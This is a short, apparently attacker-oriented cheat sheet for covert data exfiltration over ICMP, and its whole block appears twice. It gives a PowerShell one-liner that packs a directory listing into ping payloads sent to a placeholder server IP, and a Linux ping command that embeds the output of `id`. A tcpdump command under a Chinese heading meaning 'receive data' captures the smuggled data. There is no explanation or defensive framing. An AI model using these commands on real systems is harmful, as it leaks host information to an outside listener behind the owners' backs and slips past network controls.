Windows Powershell
$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send("Change_me_to_server_ip", 1000, [system.Text.Encoding]::UTF8.GetBytes($dir));
Linux
ping -p `id | hex` -c1 127.0.0.1
接收数据
tcpdump -n -s 0 -X icmp -i eth0
Windows Powershell
$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send("Change_me_to_server_ip", 1000, [system.Text.Encoding]::UTF8.GetBytes($dir));
Linux
ping -p `id | hex` -c1 127.0.0.1
接收数据
tcpdump -n -s 0 -X icmp -i eth0